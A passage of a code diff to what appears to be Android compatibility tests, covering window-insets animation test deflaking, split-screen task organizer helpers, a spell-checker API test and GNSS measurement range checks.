import java.util.Set;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
/**
* Test whether {@link android.view.WindowInsetsController#controlWindowInsetsAnimation} properly
@@ -109,7 +111,6 @@
List<VerifyingCallback> mCallbacks = new ArrayList<>();
private boolean mLossOfControlExpected;
- @Rule
public LimitedErrorCollector mErrorCollector = new LimitedErrorCollector();
/**
@@ -135,8 +136,7 @@
}
@Before
- public void setUp() throws Exception {
- super.setUp();
+ public void setUpWindowInsetsAnimationControllerTests() throws Throwable {
final ImeEventStream mockImeEventStream;
if (mType == ime()) {
final Instrumentation instrumentation = getInstrumentation();
@@ -164,6 +164,7 @@
editorMatcher("onStartInput", mActivity.getEditTextMarker()),
TimeUnit.SECONDS.toMillis(10));
}
+ awaitControl(mType);
}
@After
@@ -185,6 +186,7 @@
mMockImeSession.close();
mMockImeSession = null;
}
+ mErrorCollector.verify();
}
private void assumeTestCompatibility() {
@@ -194,180 +196,236 @@
}
}
+ private void awaitControl(int type) throws Throwable {
+ CountDownLatch control = new CountDownLatch(1);
+ OnControllableInsetsChangedListener listener = (controller, controllableTypes) -> {
+ if ((controllableTypes & type) != 0)
+ control.countDown();
+ };
+ runOnUiThread(() -> mRootView.getWindowInsetsController()
+ .addOnControllableInsetsChangedListener(listener));
+ try {
+ if (!control.await(10, TimeUnit.SECONDS)) {
+ fail("Timeout waiting for control of " + type);
+ }
+ } finally {
+ runOnUiThread(() -> mRootView.getWindowInsetsController()
+ .removeOnControllableInsetsChangedListener(listener)
+ );
+ }
+ }
+
+ private void retryIfCancelled(ThrowableThrowingRunnable test) throws Throwable {
+ try {
+ mErrorCollector.verify();
+ test.run();
+ } catch (CancelledWhileWaitingForReadyException e) {
+ // Deflake cancellations waiting for ready - we'll reset state and try again.
+ runOnUiThread(() -> {
+ mCallbacks.clear();
+ if (mRootView != null) {
+ mRootView.setWindowInsetsAnimationCallback(null);
+ }
+ });
+ mErrorCollector = new LimitedErrorCollector();
+ mListener = new ControlListener(mErrorCollector);
+ awaitControl(mType);
+ test.run();
+ }
+ }
+
@Presubmit
@Test
public void testControl_andCancel() throws Throwable {
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- null, mCancellationSignal, mListener);
+ retryIfCancelled(() -> {
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ null, mCancellationSignal, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runOnUiThread(() -> {
+ mCancellationSignal.cancel();
+ });
+
+ mListener.awaitAndAssert(CANCELLED);
+ mListener.assertWasNotCalled(FINISHED);
});
-
- mListener.awaitAndAssert(READY);
-
- runOnUiThread(() -> {
- mCancellationSignal.cancel();
- });
-
- mListener.awaitAndAssert(CANCELLED);
- mListener.assertWasNotCalled(FINISHED);
}
@Test
public void testControl_andImmediatelyCancel() throws Throwable {
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- null, mCancellationSignal, mListener);
- mCancellationSignal.cancel();
- });
+ retryIfCancelled(() -> {
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ null, mCancellationSignal, mListener);
+ mCancellationSignal.cancel();
+ });
- mListener.assertWasCalled(CANCELLED);
- mListener.assertWasNotCalled(READY);
- mListener.assertWasNotCalled(FINISHED);
+ mListener.assertWasCalled(CANCELLED);
+ mListener.assertWasNotCalled(READY);
+ mListener.assertWasNotCalled(FINISHED);
+ });
}
@Presubmit
@Test
public void testControl_immediately_show() throws Throwable {
- setVisibilityAndWait(mType, false);
+ retryIfCancelled(() -> {
+ setVisibilityAndWait(mType, false);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- null, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ null, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runOnUiThread(() -> {
+ mListener.mController.finish(true);
+ });
+
+ mListener.awaitAndAssert(FINISHED);
+ mListener.assertWasNotCalled(CANCELLED);
});
-
- mListener.awaitAndAssert(READY);
-
- runOnUiThread(() -> {
- mListener.mController.finish(true);
- });
-
- mListener.awaitAndAssert(FINISHED);
- mListener.assertWasNotCalled(CANCELLED);
}
@Presubmit
@Test
public void testControl_immediately_hide() throws Throwable {
- setVisibilityAndWait(mType, true);
+ retryIfCancelled(() -> {
+ setVisibilityAndWait(mType, true);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- null, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ null, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runOnUiThread(() -> {
+ mListener.mController.finish(false);
+ });
+
+ mListener.awaitAndAssert(FINISHED);
+ mListener.assertWasNotCalled(CANCELLED);
});
-
- mListener.awaitAndAssert(READY);
-
- runOnUiThread(() -> {
- mListener.mController.finish(false);
- });
-
- mListener.awaitAndAssert(FINISHED);
- mListener.assertWasNotCalled(CANCELLED);
}
@Presubmit
@Test
public void testControl_transition_show() throws Throwable {
- setVisibilityAndWait(mType, false);
+ retryIfCancelled(() -> {
+ setVisibilityAndWait(mType, false);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- null, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ null, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runTransition(true);
+
+ mListener.awaitAndAssert(FINISHED);
+ mListener.assertWasNotCalled(CANCELLED);
});
-
- mListener.awaitAndAssert(READY);
-
- runTransition(true);
-
- mListener.awaitAndAssert(FINISHED);
- mListener.assertWasNotCalled(CANCELLED);
}
@Presubmit
@Test
public void testControl_transition_hide() throws Throwable {
- setVisibilityAndWait(mType, true);
+ retryIfCancelled(() -> {
+ setVisibilityAndWait(mType, true);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- null, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ null, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runTransition(false);
+
+ mListener.awaitAndAssert(FINISHED);
+ mListener.assertWasNotCalled(CANCELLED);
});
-
- mListener.awaitAndAssert(READY);
-
- runTransition(false);
-
- mListener.awaitAndAssert(FINISHED);
- mListener.assertWasNotCalled(CANCELLED);
}
@Presubmit
@Test
public void testControl_transition_show_interpolator() throws Throwable {
- mInterpolator = new DecelerateInterpolator();
- setVisibilityAndWait(mType, false);
+ retryIfCancelled(() -> {
+ mInterpolator = new DecelerateInterpolator();
+ setVisibilityAndWait(mType, false);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- mInterpolator, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ mInterpolator, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runTransition(true);
+
+ mListener.awaitAndAssert(FINISHED);
+ mListener.assertWasNotCalled(CANCELLED);
});
-
- mListener.awaitAndAssert(READY);
-
- runTransition(true);
-
- mListener.awaitAndAssert(FINISHED);
- mListener.assertWasNotCalled(CANCELLED);
}
@Presubmit
@Test
public void testControl_transition_hide_interpolator() throws Throwable {
- mInterpolator = new AccelerateInterpolator();
- setVisibilityAndWait(mType, true);
+ retryIfCancelled(() -> {
+ mInterpolator = new AccelerateInterpolator();
+ setVisibilityAndWait(mType, true);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- mInterpolator, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ mInterpolator, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runTransition(false);
+
+ mListener.awaitAndAssert(FINISHED);
+ mListener.assertWasNotCalled(CANCELLED);
});
-
- mListener.awaitAndAssert(READY);
-
- runTransition(false);
-
- mListener.awaitAndAssert(FINISHED);
- mListener.assertWasNotCalled(CANCELLED);
}
@Test
public void testControl_andLoseControl() throws Throwable {
- mInterpolator = new AccelerateInterpolator();
- setVisibilityAndWait(mType, true);
+ retryIfCancelled(() -> {
+ mInterpolator = new AccelerateInterpolator();
+ setVisibilityAndWait(mType, true);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- mInterpolator, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ mInterpolator, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runTransition(false, TimeUnit.MINUTES.toMillis(5));
+ runOnUiThread(() -> {
+ mLossOfControlExpected = true;
+ });
+ launchHomeActivityNoWait();
+
+ mListener.awaitAndAssert(CANCELLED);
+ mListener.assertWasNotCalled(FINISHED);
});
-
- mListener.awaitAndAssert(READY);
-
- runTransition(false, TimeUnit.MINUTES.toMillis(5));
- runOnUiThread(() -> {
- mLossOfControlExpected = true;
- });
- launchHomeActivityNoWait();
-
- mListener.awaitAndAssert(CANCELLED);
- mListener.assertWasNotCalled(FINISHED);
}
@Presubmit
@@ -377,23 +435,26 @@
return;
}
- setVisibilityAndWait(mType, false);
+ retryIfCancelled(() -> {
+ setVisibilityAndWait(mType, false);
- runOnUiThread(() -> {
- setupAnimationListener();
- mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
- null, null, mListener);
+ runOnUiThread(() -> {
+ setupAnimationListener();
+ mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+ null, null, mListener);
+ });
+
+ mListener.awaitAndAssert(READY);
+
+ runTransition(true);
+ runOnUiThread(() -> {
+ mActivity.getSystemService(InputMethodManager.class).restartInput(
+ mActivity.mEditor);
+ });
+
+ mListener.awaitAndAssert(FINISHED);
+ mListener.assertWasNotCalled(CANCELLED);
});
-
- mListener.awaitAndAssert(READY);
-
- runTransition(true);
- runOnUiThread(() -> {
- mActivity.getSystemService(InputMethodManager.class).restartInput(mActivity.mEditor);
- });
-
- mListener.awaitAndAssert(FINISHED);
- mListener.assertWasNotCalled(CANCELLED);
}
private void setupAnimationListener() {
@@ -514,6 +575,7 @@
WindowInsetsAnimationController mController = null;
int mTypes = -1;
+ RuntimeException mCancelledStack = null;
ControlListener(ErrorCollector errorCollector) {
mErrorCollector = errorCollector;
@@ -562,6 +624,7 @@
mErrorCollector.checkThat("isFinished", controller.isFinished(), is(false));
mErrorCollector.checkThat("isCancelled", controller.isCancelled(), is(true));
}
+ mCancelledStack = new RuntimeException("onCancelled called here");
report(CANCELLED);
}
@@ -575,7 +638,12 @@
CountDownLatch latch = mLatches[event.ordinal()];
try {
if (!latch.await(10, TimeUnit.SECONDS)) {
- fail("Timeout waiting for " + event);
+ if (event == READY && mCancelledStack != null) {
+ throw new CancelledWhileWaitingForReadyException(
+ "expected " + event + " but instead got " + CANCELLED,
+ mCancelledStack);
+ }
+ fail("Timeout waiting for " + event + "; reported events: " + reportedEvents());
}
} catch (InterruptedException e) {
throw new AssertionError("Interrupted", e);
@@ -584,12 +652,21 @@
void assertWasCalled(Event event) {
CountDownLatch latch = mLatches[event.ordinal()];
- assertEquals(event + " expected, but never called", 0, latch.getCount());
+ assertEquals(event + " expected, but never called; called: " + reportedEvents(),
+ 0, latch.getCount());
}
void assertWasNotCalled(Event event) {
CountDownLatch latch = mLatches[event.ordinal()];
- assertEquals(event + " not expected, but was called", 1, latch.getCount());
+ assertEquals(event + " not expected, but was called; called: " + reportedEvents(),
+ 1, latch.getCount());
+ }
+
+ String reportedEvents() {
+ return Arrays.stream(Event.values())
+ .filter((e) -> mLatches[e.ordinal()].getCount() == 0)
+ .map(Enum::toString)
+ .collect(Collectors.joining(",", "<", ">"));
}
}
@@ -649,6 +726,7 @@
public static final class LimitedErrorCollector extends ErrorCollector {
private static final int LIMIT = 1;
+ private static final boolean REPORT_SUPPRESSED_ERRORS = false;
private int mCount = 0;
@Override
@@ -660,10 +738,20 @@
@Override
protected void verify() throws Throwable {
- if (mCount > LIMIT) {
- super.addError(new AssertionError((mCount - LIMIT) + " errors skipped."));
+ if (mCount > LIMIT && REPORT_SUPPRESSED_ERRORS) {
+ super.addError(new AssertionError((mCount - LIMIT) + " errors suppressed."));
}
super.verify();
}
}
+
+ private interface ThrowableThrowingRunnable {
+ void run() throws Throwable;
+ }
+
+ private static class CancelledWhileWaitingForReadyException extends AssertionError {
+ public CancelledWhileWaitingForReadyException(String message, Throwable cause) {
+ super(message, cause);
+ }
+ };
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
similarity index 99%
rename from tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
rename to tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
index ffb4c04..f0bd3f8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
@@ -62,7 +62,7 @@
@MediumTest
@Presubmit
@android.server.wm.annotation.Group3
-public class ActivityLifecycleSplitScreenTests extends ActivityLifecycleClientTestBase {
+public class ActivityLifecycleLegacySplitScreenTests extends ActivityLifecycleClientTestBase {
@Before
public void setUp() throws Exception {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
index bb15980..a5d2cf8 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
@@ -16,6 +16,11 @@
package android.server.wm;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
import static android.view.Display.DEFAULT_DISPLAY;
@@ -32,13 +37,13 @@
import android.view.WindowManager;
import android.window.TaskAppearedInfo;
import android.window.TaskOrganizer;
+import android.window.WindowContainerToken;
import android.window.WindowContainerTransaction;
import androidx.annotation.NonNull;
import org.junit.Assert;
-import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.TimeUnit;
@@ -59,6 +64,18 @@
private final Rect mPrimaryBounds = new Rect();
private final Rect mSecondaryBounds = new Rect();
+ private static final int[] CONTROLLED_ACTIVITY_TYPES = {
+ ACTIVITY_TYPE_STANDARD,
+ ACTIVITY_TYPE_HOME,
+ ACTIVITY_TYPE_RECENTS,
+ ACTIVITY_TYPE_UNDEFINED
+ };
+ private static final int[] CONTROLLED_WINDOWING_MODES = {
+ WINDOWING_MODE_FULLSCREEN,
+ WINDOWING_MODE_MULTI_WINDOW,
+ WINDOWING_MODE_UNDEFINED
+ };
+
TestTaskOrganizer(Context displayContext) {
super();
Rect bounds = displayContext.getSystemService(WindowManager.class)
@@ -196,29 +213,59 @@
});
}
+ void setLaunchRoot(int taskId) {
+ NestedShellPermission.run(() -> {
+ synchronized (this) {
+ final WindowContainerTransaction t = new WindowContainerTransaction()
+ .setLaunchRoot(mKnownTasks.get(taskId).getToken(),
+ CONTROLLED_WINDOWING_MODES, CONTROLLED_ACTIVITY_TYPES);
+ applyTransaction(t);
+ }
+ });
+ }
+
void dismissedSplitScreen() {
synchronized (this) {
NestedShellPermission.run(() -> {
- // Re-parent everything back to the display from the splits so that things are as they were.
- final List<ActivityManager.RunningTaskInfo> children = new ArrayList<>();
- final List<ActivityManager.RunningTaskInfo> primaryChildren =
- getChildTasks(mRootPrimary.getToken(), null /* activityTypes */);
- if (primaryChildren != null && !primaryChildren.isEmpty()) {
- children.addAll(primaryChildren);
- }
- final List<ActivityManager.RunningTaskInfo> secondaryChildren =
- getChildTasks(mRootSecondary.getToken(), null /* activityTypes */);
- if (secondaryChildren != null && !secondaryChildren.isEmpty()) {
- children.addAll(secondaryChildren);
- }
- if (children.isEmpty()) {
- return;
- }
+ final WindowContainerTransaction t = new WindowContainerTransaction()
+ .setLaunchRoot(
+ mRootPrimary.getToken(),
+ null,
+ null)
+ .setLaunchRoot(
+ mRootSecondary.getToken(),
+ null,
+ null)
+ .reparentTasks(
+ mRootPrimary.getToken(),
+ null /* newParent */,
+ CONTROLLED_WINDOWING_MODES,
+ CONTROLLED_ACTIVITY_TYPES,
+ true /* onTop */)
+ .reparentTasks(
+ mRootSecondary.getToken(),
+ null /* newParent */,
+ CONTROLLED_WINDOWING_MODES,
+ CONTROLLED_ACTIVITY_TYPES,
+ true /* onTop */);
+ applyTransaction(t);
+ });
+ }
+ }
- final WindowContainerTransaction t = new WindowContainerTransaction();
- for (ActivityManager.RunningTaskInfo task : children) {
- t.reparent(task.getToken(), null /* parent */, true /* onTop */);
- }
+ void setRootPrimaryTaskBounds(Rect bounds) {
+ setTaskBounds(mRootPrimary.getToken(), bounds);
+ }
+
+ void setRootSecondaryTaskBounds(Rect bounds) {
+ setTaskBounds(mRootSecondary.getToken(), bounds);
+ }
+
+ private void setTaskBounds(WindowContainerToken container, Rect bounds) {
+ synchronized (this) {
+ NestedShellPermission.run(() -> {
+ final WindowContainerTransaction t = new WindowContainerTransaction()
+ .setBounds(container, bounds);
applyTransaction(t);
});
}
diff --git a/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml b/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
index 8820f29..18f96ada 100644
--- a/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
+++ b/tests/inputmethod/mockspellchecker/res/xml/spellchecker.xml
@@ -20,5 +20,6 @@
<subtype
android:label="English"
android:subtypeLocale="en"
+ android:languageTag="en-US"
/>
</spell-checker>
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
index 15ece3d..b5ca08ad 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SpellCheckerTest.kt
@@ -223,6 +223,29 @@
}
}
+ @Test
+ fun textServicesManagerApi() {
+ val tsm = context.getSystemService(TextServicesManager::class.java)!!
+ assertThat(tsm).isNotNull()
+ assertThat(tsm!!.isSpellCheckerEnabled()).isTrue()
+ val spellCheckerInfo = tsm.getCurrentSpellChecker()
+ assertThat(spellCheckerInfo).isNotNull()
+ assertThat(spellCheckerInfo!!.getPackageName()).isEqualTo(
+ "com.android.cts.mockspellchecker")
+ assertThat(spellCheckerInfo!!.getSubtypeCount()).isEqualTo(1)
+ val spellCheckerSubtypeAllowImplicitlySelected = tsm.getCurrentSpellCheckerSubtype(true)
+ assertThat(spellCheckerSubtypeAllowImplicitlySelected).isNotNull()
+ assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getLanguageTag()).isEqualTo("en-US")
+ assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getLocale()).isEqualTo("en")
+ assertThat(spellCheckerSubtypeAllowImplicitlySelected!!.getExtraValue()).isEmpty()
+ val spellCheckerSubtypeNotAllowImplicitlySelected =
+ tsm.getCurrentSpellCheckerSubtype(false)
+ assertThat(spellCheckerSubtypeNotAllowImplicitlySelected).isNull()
+ assertThat(tsm.getEnabledSpellCheckersList()!!.size).isAtLeast(1)
+ assertThat(tsm.getEnabledSpellCheckersList()!!.map { it.getPackageName() })
+ .contains("com.android.cts.mockspellchecker")
+ }
+
private fun findSuggestionSpanWithFlags(editText: EditText, flags: Int): SuggestionSpan? =
getSuggestionSpans(editText).find { (it.flags and flags) == flags }
diff --git a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
index 0a09c23..7c5afae 100644
--- a/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
+++ b/tests/location/common/src/android/location/cts/common/TestMeasurementUtil.java
@@ -16,18 +16,23 @@
package android.location.cts.common;
+import static org.junit.Assert.assertNotNull;
+
import android.content.Context;
import android.content.pm.PackageManager;
+import android.location.CorrelationVector;
import android.location.GnssClock;
import android.location.GnssMeasurement;
import android.location.GnssMeasurementsEvent;
import android.location.GnssNavigationMessage;
import android.location.GnssStatus;
import android.location.LocationManager;
+import android.location.SatellitePvt;
import android.util.Log;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
@@ -298,7 +303,98 @@
measurement.getAutomaticGainControlLevelDb() >= -100
&& measurement.getAutomaticGainControlLevelDb() <= 100);
}
+ }
+ /**
+ * Assert all SystemApi fields in Gnss Measurement are in expected range.
+ *
+ * @param testLocationManager TestLocationManager
+ * @param measurement GnssMeasurement
+ * @param softAssert custom SoftAssert
+ * @param timeInNs event time in ns
+ * @param requireCorrVec assert correlation vectors outputs
+ * @param requireSatPvt assert satellite PVT outputs
+ */
+ public static void assertAllGnssMeasurementSystemFields(
+ TestLocationManager testLocationManager, GnssMeasurement measurement,
+ SoftAssert softAssert, long timeInNs, boolean requireCorrVec, boolean requireSatPvt) {
+
+ if (requireCorrVec) {
+ softAssert.assertTrue("GnssMeasurement must has correlation vectors",
+ timeInNs,
+ "measurement.hasCorrelationVectors() == true",
+ String.valueOf(measurement.hasCorrelationVectors()),
+ measurement.hasCorrelationVectors());
+ }
+ if (measurement.hasCorrelationVectors()) {
+ verifyCorrelationVectors(measurement, softAssert, timeInNs);
+ }
+
+ if (requireSatPvt) {
+ softAssert.assertTrue("GnssMeasurement must has satellite PVT",
+ timeInNs,
+ "measurement.hasSatellitePvt() == true",
+ String.valueOf(measurement.hasSatellitePvt()),
+ measurement.hasSatellitePvt());
+ }
+ if (measurement.hasSatellitePvt()) {
+ verifySatellitePvt(measurement, softAssert, timeInNs);
+ }
+ }
+
+ /**
+ * Verify correlation vectors are in expected range.
+ *
+ * @param measurement GnssMeasurement
+ * @param softAssert custom SoftAssert
+ * @param timeInNs event time in ns
+ */
+ private static void verifyCorrelationVectors(GnssMeasurement measurement,
+ SoftAssert softAssert, long timeInNs) {
+ Collection<CorrelationVector> correlationVectors =
+ measurement.getCorrelationVectors();
+ assertNotNull("CorrelationVectors cannot be null.", correlationVectors);
+ softAssert.assertTrue("CorrelationVectors count",
+ timeInNs,
+ "X > 0",
+ String.valueOf(correlationVectors.size()),
+ correlationVectors.size() > 0);
+ for (CorrelationVector correlationVector : correlationVectors) {
+ assertNotNull("CorrelationVector cannot be null.", correlationVector);
+ int[] magnitude = correlationVector.getMagnitude();
+ softAssert.assertTrue("frequency_offset_mps : "
+ + "Frequency offset from reported pseudorange rate "
+ + "for this CorrelationVector",
+ timeInNs,
+ "X >= 0",
+ String.valueOf(correlationVector.getFrequencyOffsetMetersPerSecond()),
+ correlationVector.getFrequencyOffsetMetersPerSecond() >= 0);
+ softAssert.assertTrue("sampling_width_m : "
+ + "The space between correlation samples in meters",
+ timeInNs,
+ "X > 0.0",
+ String.valueOf(correlationVector.getSamplingWidthMeters()),
+ correlationVector.getSamplingWidthMeters() > 0.0);
+ softAssert.assertTrue("frequency_offset_mps : "
+ + "Offset of the first sampling bin in meters",
+ timeInNs,
+ "X >= 0.0",
+ String.valueOf(correlationVector.getSamplingStartMeters()),
+ correlationVector.getSamplingStartMeters() >= 0.0);
+ softAssert.assertTrue("Magnitude count",
+ timeInNs,
+ "X > 0",
+ String.valueOf(magnitude.length),
+ magnitude.length > 0);
+ for (int value : magnitude) {
+ softAssert.assertTrue("magnitude : Data representing normalized "
+ + "correlation magnitude values",
+ timeInNs,
+ "-32768 <= X < 32767",
+ String.valueOf(value),
+ value >= -32768 && value < 32767);
+ }
+ }
}
/**
@@ -876,4 +972,71 @@
}
return GnssBand.GNSS_L1; // default to L1 band
}
+
+ /**
+ * Assert most of the fields in Satellite PVT are in expected range.
+ *
+ * @param measurement GnssMeasurement
+ * @param softAssert custom SoftAssert
+ * @param timeInNs event time in ns
+ */
+ private static void verifySatellitePvt(GnssMeasurement measurement,
+ SoftAssert softAssert, long timeInNs) {
+ SatellitePvt satellitePvt = measurement.getSatellitePvt();
+ assertNotNull("SatellitePvt cannot be null when HAS_SATELLITE_PVT is true.", satellitePvt);
+ softAssert.assertTrue("x_meters : "
+ + "Satellite position X in WGS84 ECEF (meters)",
+ timeInNs,
+ "-43000000 <= X <= 43000000",
+ String.valueOf(satellitePvt.getPositionEcef().getXMeters()),
+ satellitePvt.getPositionEcef().getXMeters() >= -43000000 &&
+ satellitePvt.getPositionEcef().getXMeters() <= 43000000);
+ softAssert.assertTrue("y_meters : "
+ + "Satellite position Y in WGS84 ECEF (meters)",
+ timeInNs,
+ "-43000000 <= X <= 43000000",
+ String.valueOf(satellitePvt.getPositionEcef().getYMeters()),
+ satellitePvt.getPositionEcef().getYMeters() >= -43000000 &&
+ satellitePvt.getPositionEcef().getYMeters() <= 43000000);
+ softAssert.assertTrue("z_meters : "
+ + "Satellite position Z in WGS84 ECEF (meters)",
+ timeInNs,
+ "-43000000 <= X <= 43000000",
+ String.valueOf(satellitePvt.getPositionEcef().getZMeters()),
+ satellitePvt.getPositionEcef().getZMeters() >= -43000000 &&
+ satellitePvt.getPositionEcef().getZMeters() <= 43000000);
+ softAssert.assertTrue("ure_meters : "
+ + "The Signal in Space User Range Error (URE) (meters)",
+ timeInNs,
+ "X > 0",
+ String.valueOf(satellitePvt.getPositionEcef().getUreMeters()),
+ satellitePvt.getPositionEcef().getUreMeters() > 0);
+ softAssert.assertTrue("x_mps : "
+ + "Satellite velocity X in WGS84 ECEF (meters per second)",
+ timeInNs,
+ "-4000 <= X <= 4000",
+ String.valueOf(satellitePvt.getVelocityEcef().getXMetersPerSecond()),
+ satellitePvt.getVelocityEcef().getXMetersPerSecond() >= -4000 &&
+ satellitePvt.getVelocityEcef().getXMetersPerSecond() <= 4000);
+ softAssert.assertTrue("y_mps : "
+ + "Satellite velocity Y in WGS84 ECEF (meters per second)",
+ timeInNs,
+ "-4000 <= X <= 4000",
+ String.valueOf(satellitePvt.getVelocityEcef().getYMetersPerSecond()),
+ satellitePvt.getVelocityEcef().getYMetersPerSecond() >= -4000 &&
+ satellitePvt.getVelocityEcef().getYMetersPerSecond() <= 4000);
+ softAssert.assertTrue("z_mps : "
+ + "Satellite velocity Z in WGS84 ECEF (meters per second)",
+ timeInNs,
+ "-4000 <= X <= 4000",
+ String.valueOf(satellitePvt.getVelocityEcef().getZMetersPerSecond()),
+ satellitePvt.getVelocityEcef().getZMetersPerSecond() >= -4000 &&
+ satellitePvt.getVelocityEcef().getZMetersPerSecond() <= 4000);
+ softAssert.assertTrue("ure_rate_mps : "
+ + "The Signal in Space User Range Error Rate (URE Rate) (meters per second)",
+ timeInNs,
+ "X > 0",
+ String.valueOf(satellitePvt.getVelocityEcef().getUreRateMetersPerSecond()),
+ satellitePvt.getVelocityEcef().getUreRateMetersPerSecond() > 0);
+ }
}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
index 64fc851..20357c1 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
@@ -41,8 +41,8 @@
* 4. Check {@link GnssMeasurementsEvent} status: if the status is not
* {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped if the device
* does not support the GPS feature.
- * 5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
- * mandatory fields is not populated or in the expected range.
+ * 5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
+ * mandatory fields is not populated or in the expected range.
*/
public class GnssMeasurementValuesTest extends GnssTestCase {
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java
new file mode 100644
index 0000000..b14ac96
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java
@@ -0,0 +1,85 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
